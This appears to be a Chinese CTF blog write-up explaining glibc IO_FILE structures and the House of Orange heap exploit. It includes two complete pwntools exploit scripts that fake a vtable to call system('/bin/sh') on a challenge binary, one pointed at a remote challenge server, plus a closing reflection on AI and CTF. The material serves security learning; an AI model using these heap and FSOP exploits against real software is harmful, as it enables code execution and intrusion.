IOFILE结构体的介绍与House of orange
IO结构体的介绍
当c语言进行输入输出,打开关闭文件这些操作时,除了read,write,open,close等系统调用函数之外,其他的函数都是通过IO结构体来实现的。IO结构就是_IO_FILE_plus,而 _IO_FILE_plus包含 _IO_FILE 与IO_jump_t (虚表,vtable)
-
虚表结构如下
pwndbg> p __GI__IO_file_jumps $5 = { __dummy = 0, __dummy2 = 0, __finish = 0x7a09c20799d0 <_IO_new_file_finish>, __overflow = 0x7a09c207a740 <_IO_new_file_overflow>, __underflow = 0x7a09c207a4b0 <_IO_new_file_underflow>, __uflow = 0x7a09c207b610 <__GI__IO_default_uflow>, __pbackfail = 0x7a09c207c990 <__GI__IO_default_pbackfail>, __xsputn = 0x7a09c20791f0 <_IO_new_file_xsputn>, __xsgetn = 0x7a09c2078ed0 <__GI__IO_file_xsgetn>, __seekoff = 0x7a09c20784d0 <_IO_new_file_seekoff>, __seekpos = 0x7a09c207ba10 <_IO_default_seekpos>, __setbuf = 0x7a09c2078440 <_IO_new_file_setbuf>, __sync = 0x7a09c2078380 <_IO_new_file_sync>, __doallocate = 0x7a09c206d190 <__GI__IO_file_doallocate>, __read = 0x7a09c20791b0 <__GI__IO_file_read>, __write = 0x7a09c2078b80 <_IO_new_file_write>, __seek = 0x7a09c2078980 <__GI__IO_file_seek>, __close = 0x7a09c2078350 <__GI__IO_file_close>, __stat = 0x7a09c2078b70 <__GI__IO_file_stat>, __showmanyc = 0x7a09c207cb00 <_IO_default_showmanyc>, __imbue = 0x7a09c207cb10 <_IO_default_imbue> }在c语言里是这样的
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_wstr_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail), JUMP_INIT(xsputn, _IO_wdefault_xsputn), JUMP_INIT(xsgetn, _IO_wdefault_xsgetn), JUMP_INIT(seekoff, _IO_wstr_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_wdefault_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };#每个指针的间隔在64位下是0x8通过虚表可以找到很多的函数指针(就是尖括号/括号里面的这些名字)。从 _IO_FILE 到虚表的偏移32位下是0x94,64位下是0xd8。在libc2.24之前可以通过伪造虚表结构,当这些io函数需要call对应虚表函数时,就会call我们伪造的虚表结构上函数,进而实现call任意函数,在这之后会检查虚表,就需要用虚表内的函数,不能直接位置了。
-
_IO_FILE结构如下
0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable第一个是标志位,_IO_read_ptr是当前输入的位置, _IO_read_end是输入缓冲区的尾, _IO_read_base是输入缓冲区的开始, _IO_write_ptr等跟输入一样就是把输入改成输出。 _IO_buf_base就是读入/写入的区域的开始,同理 _IO_buf_end就是结束,还有就是 _chain他储存的就是指向下一个结构体的标志位的指针, _fileno是文件描述符的意思。
还有一个重要的结构就是 _IO_list_all储存有指向第一个结构体标志位的指针,比如一开始一般是stderr指向stdout指向stdin,那么 _IO_list_all就有指向stderr的标志位的指针。
关于IO函数(fread,fopen,fwrite,fclose)我就不介绍了(我感觉目前让我写的话写的挺lj的),这位师傅的文章讲的很好可以去看看IO FILE 之fclose 详解,IO FILE之fopen详解,IO FILE之fread详解,IO FILE之fwrite详解 ,当熟悉了这些函数之后,最后就来到了这次的关键:house of orange,当然house of orange只是开了IO利用的先河,并不是IO的全部。下面我就先讲解这个很有技巧的手法(只能说研究出来的人太强了),当然house of orange利用在glibc2.26之后就很难很难用了,因为2.27把abort函数的fflush函数删了。
为什么要介绍这些?答案其实就藏在虚表中,虚表中有的可是函数指针啊!加入我们改掉/伪造虚表,不就可以调用任意函数了么,但在此之前我们还需要知道什么函数会调用什么虚表,这篇文章里有介绍,其实这也是上面四个函数的文章的作者IO FILE 之劫持vtable及FSOP,
不过在house of orange中我们利用的不是上面四个函数,而是fflush这个函数,这个函数在abort函数中(abort函数在堆出现错误时会调用,比如double free,unsortedbin的堆块被破坏等堆的错误,以及exit,main函数退出时都会调用),fflush函数会调用_IO_flush_all_lockp,代码如下,IO_flush_all_lockp会调用 _IO_OVERFLOW,这个是虚表函数!
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //,如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;
fp = fp->_chain; //遍历链表
}
...
}
House of orange
这个手法主要是用于无free的时候,可以获得一个free后的堆块(目前的版本都能用),而获得之后的攻击就是在2.26之后失效了。首先我们要先知道topchunk如果不够了,系统会对原来的topchunk做什么。这次我们寻找堆块先去各bin里找,找不到就先在各bin合并/切割再找一次,还找不到就会去topchunk里切割,如果topchunk不够了就会去系统申请。系统申请了之后就会生成新的topchunk,那旧的topchunk呢?会停在原地不动吗?显然是不会的,如果让他不动不就浪费了这一块内存么,所以系统会free掉他,让他进入unsortedbin里,后面继续切割他。但一般topchunk都是很大的,有0x20000以上,我们直接申请比这大的堆块系统只会调用mmap帮我们分配,不会对topchunk做什么。所以如果要攻击,就只能把topchunk的大小改掉了,改成什么呢?源码会进行如下检查
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
这行代码:(old_top == initial_top(av) && old_size == 0)意思是如果这个topchunk是第一次创建时的top chunk并且此时topchunk的大小为0,那就可以通过检测了。否则就要通过后面三个条件,第一个是topchunk的大小大于等于MINSIZE(0x10或者0x20),第二个就是topchunk的P标志位必须是1,第四个是topchunk的尾地址必须是页对齐的,他的尾地址就是topchunk的头地址+topchunk的大小,页对齐也就是这个结构的后三16进制位要是000。满足了这些条件之后系统就会free掉这个堆块。
在无free函数的情况下有了一个free后的堆块,我们能做的事就很多了,首先是我们再申请一个小堆块的时候,系统会先把unsortedbin的堆块放进对应大小的bin中,然后切割出对应的堆块,然后把last_remainder再放进unsortedbin中。一般topchunk的大小都是能进入largebin的,所以我们申请的堆块就有了libc基地址和堆地址。
有了这些之后就可以开始攻击了,接下来是先进行一个unsortedbin attack,还记得各个IOFILE结构体是怎么链接起来的么,头是_IO_list_all,通过IOFILE结构体的 _chain结构来链接,我们unsortedbin attack写入的地址就是main_arena+88或main_arena+96的地址,如果用unsortedbin attack改写 _IO_list_all,那main_arena+88或main_arena+96+0x68(该IOFILE结构体的下一个结构体的地址)是什么呢?答案就是smallbin中大小为0x60的链表。这个攻击就是File Stream Oriented Programming也就是FSOP(有点像ROP链)
正常_IO_list_all链表的 _chain指向的是stderr这个结构体,我们这样攻击后他就指向了smallbin中大小为0x60的第一个堆块,接下来就是修改topchunk的大小,让他的大小是0x60让他以后能进入smallbin中,并提前在其中布置好IOFILE相关的值,因为执行exit函数或者libc执行abort流程时或者程序从main函数返回时如果满足条件就会触发 _IO_flush_all_lockp,这个函数会遍历所有的IOFILE结构体,检测缓冲区是否有数据,如果有就调用虚表的 _IO_OVERFLOW (虚表偏移0x18的位置)。检测的代码如下
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
为什么呢是这样就代表缓冲区有数据呢,因为 _IO_write_ptr是输出缓冲区当前的指针位置, _IO_write_base是输出缓冲区开始的位置,当输出缓冲区当前位置大于输出缓冲区开始的位置就代表缓冲区内有数据(说了跟没说一样),可以看如下图:

因为c语言写内容指针是递增的,所以 _IO_write_end的值肯定大于 _IO_write_base,而 _IO_write_ptr就是从 _IO_write_base往 _IO_write_end移动,而他们有差值就说明缓冲区内有数据。这个mode是什么呢,就是判断这个文件流在处理的是宽字符还是窄字符,总之如果这个mode大于0了,后面的代码的意思就是也是一样的,只是 _IO_write_ptr等的值要先在 _wide_data里取出。
至此house of orange的攻击链路就清晰了:
- 首先修改topchunk大小,申请一个比修改大小后大小大的chunk,让topchunk被free进入unsortedbin
- 然后申请堆块泄露出libc基地址,堆地址,接下来伪造好IOFILE结构体(重点就是虚表以及通过调用 _IO_OVERFLOW前的函数检查)并准备好进行unsortedbin attack去攻击 _IO_list_all并确保其能进入smallbin的0x60大小的链表内
- 然后申请一个比0x60大小大的堆,这时系统会遍历各bin,就会把unsortedbin中我们伪造的0x60大小的bin放进smallbin的0x60大小的链表内,同时因为unsortedbin最后一个堆块被取出,就会触发unsortedbin attack
- 同时又因为检测到unsortedbin被破坏,系统要触发malloc_printerr去打印错误信息,这个函数里就有abort这个函数
- abort函数里又有fflush函数,fflush函数里又有 _IO_flush_all_lockp
- _IO_flush_all_lockp函数里通过检测又会调用虚表的 _IO_OVERFLOW
- 而此时虚表已经被我们伪造了,第一个参数是flag标志位(我们改成/bin/sh\x00),然后把在 _IO_OVERFLOW 伪造的虚表中的函数指针赋给system函数的地址,这样就可以getshell了。
可以看到最后这个利用链很长,也是各种各种巧合构成了这次攻击,真的是学的我非常非常非常佩服想出来这个攻击的人,真的太强了。这个攻击也是第一次把IOFILE和堆结合在一起攻击,并且在hook被删除后这个结合被彻底发扬光大了,感觉可以说是高版本堆攻击的基石了。
下面我们来一题体验一下,这个手法也是分版本的,2.23没有虚表检测,可以在IOFILE结构体的vtable处写入堆块地址,但在2.24之后有了虚表检测,这时就要用一个虚表内的函数绕过了,我会演示一下这两种攻击。
Polarctf-unk

这题是有free的,但是我不用这个,就当不存在了,然后是2.23版本的题,有堆溢出。总体思路就是上面介绍的思路。
- 首先修改topchunk大小,申请一个比修改大小后大小大的chunk,让topchunk被free进入unsortedbin
- 然后申请堆块泄露出libc基地址,堆地址,接下来伪造好IOFILE结构体(重点就是虚表以及通过调用 _IO_OVERFLOW前的函数检查)并准备好进行unsortedbin attack去攻击 _IO_list_all并确保其能进入smallbin的0x60大小的链表内
- 然后申请一个比0x60大小大的堆,这时系统会遍历各bin,就会把unsortedbin中我们伪造的0x60大小的bin放进smallbin的0x60大小的链表内,同时因为unsortedbin最后一个堆块被取出,就会触发unsortedbin attack
- 同时又因为检测到unsortedbin被破坏,系统要触发malloc_printerr去打印错误信息,这个函数里就有abort这个函数
- abort函数里又有fflush函数,fflush函数里又有 _IO_flush_all_lockp
- _IO_flush_all_lockp函数里通过检测又会调用虚表的 _IO_OVERFLOW
- 而此时虚表已经被我们伪造了,第一个参数是flag标志位(我们改成/bin/sh\x00),然后把在 _IO_OVERFLOW 伪造的虚表中的函数指针赋给system函数的地址,这样就可以getshell了。
条件就是
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
不过满足第一个就好,也就是IO_write_ptr>IO_write_base,_mode=0,也就是把 IO_write_ptr设置成1, IO_write_base设置成0即可。
2.23版本的orange
exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
p = remote('1.95.36.136',2141)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
add(0,0x30)
pay=0x30*b'b'+flat(0,0xfc1)
edit(0,0x40,pay)
add(1,0x1000)
add(2,0x30)
show(2)
rcl()
libcbase=u6(6)-0x3c5188
ph(libcbase)
edit(2,0x11,0x11*b'b')
show(2)
ru(0x10*b'b')
heap=u6(4)-0x62+0x80+0xd8
ph(heap)
iolist=libcbase+libc.sym['_IO_list_all']
sy=libcbase+libc.sym['system']
ph(iolist)
pay=0x30*b'b'+b'/bin/sh\x00'+flat({
0x0:0x60,
0x10:iolist-0x10,
0x20:1,#_IO_write_ptr
0xd0:heap,#vrable,此时虚表地址被我设置成了就在现在这个地址,这个地址+0x18就是_IO_OVERFLOW 指针的位置也就是下面的system
0xe8:sy,
},filler=b'\x00')
edit(2,0x500,pay)
add(4,0x1000)
ti()
不过这个不是百分之百能超过的,因为地址随机数导致mode的值会变化,多试几次就好,成功率挺高的。
在2.24版本中,glibc加了虚表检测,简单来说就是经常虚表的范围是否在原本存放虚表的内存范围内
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
也就是说,正常我们把虚表写上堆/栈地址肯定就不符合这个要求,也就会攻击失败,这时我们就只能利虚表内原有的函数了。虚表内的函数主要是借助_IO_str_jumps和 _IO_wstr_jumps,我就讲讲被用的比较多的 _IO_str_jumps,这个直接看汇编比较好理解,当然其实不是特别好找这个函数,因为很多时候调试的时候是没有符号的,这个函数是被内含进去了。不过我也给出一个寻找的办法,就是先找出来正常的虚表,如果p *stdin显示不出来直接用tele看就可以了

找到之后把最后三个16进制位改成100,然后直接tele 这个地址 160,看右边汇编有push rbx的就用x /20i 去看汇编代码,直到找到以下代码的

这个0x7fc2a59c34b0就是我们要找的 _IO_str_jumps+0x10了,那我们找这个干嘛呢,我们先把汇编代码拿出来看看
pwndbg> x /20i 0x7fc2a567cfb0
0x7fc2a567cfb0: push rbx
0x7fc2a567cfb1: mov rbx,rdi#此时rbx的值就是rdi的值了
0x7fc2a567cfb4: mov rdi,QWORD PTR [rdi+0x38]#控制rdi
0x7fc2a567cfb8: test rdi,rdi
0x7fc2a567cfbb: je 0x7fc2a567cfc8
0x7fc2a567cfbd: test BYTE PTR [rbx],0x1
0x7fc2a567cfc0: jne 0x7fc2a567cfc8
0x7fc2a567cfc2: call QWORD PTR [rbx+0xe8]#还有函数指针!
可以看到这个函数如果顺利就把rdi+0x38的值赋给了rdi,后面还call了rdi+0xe8,那这个rdi是什么呢?答案其实显而易见,我们之前调用 _IO_OVERFLOW 的第一个参数是什么?毕竟是IOFILE结构体的起始位置(flag的地方)么,所以这个rdi就是IOFILE结构体的起始地址,所以只要我们能进这个函数,控制好IOFILE结构体偏移0x38,0xe8的值,就可以调用任意一个单参数函数,也就是我们的system('/bin/sh')了,至于为什么是 _IO_str_jumps-0x18答案也很简单,因为我们是需要调用现在这个函数,那我们就要把他的位置写在本来应该是 _IO_OVERFLOW 的位置, _IO_OVERFLOW 距离虚表的偏移不是0x18么,所以我们把vtable赋上 _IO_str_jumps-0x8或者这个目标地址-0x18(对于上面的例子就是0x7fc2a59c34b0-0x18)。接下来我们就可以利用这个函数进行攻击了,但注意这里还有两个检测,要我们的flag的最低位不能是0和奇数,用'b'(\x62)填充flag就可以了
2.24-2.26的orange
exp如下
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1.95.36.136',2141)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
add(0,0x30)
pay=0x30*b'b'+flat(0,0xfc1)
edit(0,0x40,pay)
add(1,0x1000)
add(2,0x30)
show(2)
rcl()
libcbase=u6(6)-0x3c5188
ph(libcbase)
iolist=libcbase+libc.sym['_IO_list_all']
iojumps=libcbase+0x3c34b0-0x18
sy=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search('/bin/sh'))
ph(iolist)
pay=0x38*b'b'+flat({
0x0:0x60,
0x10:iolist-0x10,
0x20:1,
0x30:binsh,#实际是偏移0x38的位置
0xd0:iojumps,
0xe0:sy,#实际是偏移0xe8的位置
},filler=b'\x00')
edit(2,0x500,pay)
add(4,0x1000)
ti()
在glibc2.26前,只要有堆溢出就可以用这个手法,还是很强的。
碎碎念
其实我想了挺久要不要写这个,不过还是写吧。如今ai时代,可以说ctf已经被ai统治了,再学这个又有什么意义呢?再学ctf又有什么意义呢?这问题我肯定是无法回答的,我也是没资格回答的。但不论意义如何,只要做自己喜欢的事就好了,想学就学学,不想学就休息,这样就好。现在ai事实上已经把ctf学习的结果给拿下了,只能说很无奈吧,但也没办法,以后又一定是离不开ai的,只能说慢慢适应吧。但我还是有一些个人看法的,学习的最终结果也许ai能夺走,但学习过程的体验ai夺不走。对于ai会对ctf产生什么影响,这至少我是不想去想了(被困扰了挺久的,不过也没想出什么东西),这里就想抖点名言了哈哈。
I never think of the future. It comes soon enough.(我从不设想未来,因为他早晚会来的)---爱因斯坦,当然其实我是在文明六的最后听到的,当时刚听见感觉还挺震撼的。
Wir müssen wissen, wir werden wissen(我们必须知道,我们终将知道) ----大卫·希尔伯特,这位的经历也是比较痛苦了,自己拼命想证明的东西(数学的完备性),被哥德尔直接打碎了(哥德尔不完备定理),甚至还是在他活着的时候被打碎的,不过尽管如此,他在追求的路上也是做出了很大的贡献的。
对比之下我只是个非常非常非常普通的人,估计是做不出什么大贡献了,但至少让自己开心一点吧。
Find a new fortunate four-leaf clover.

浙公网安备 33010602011771号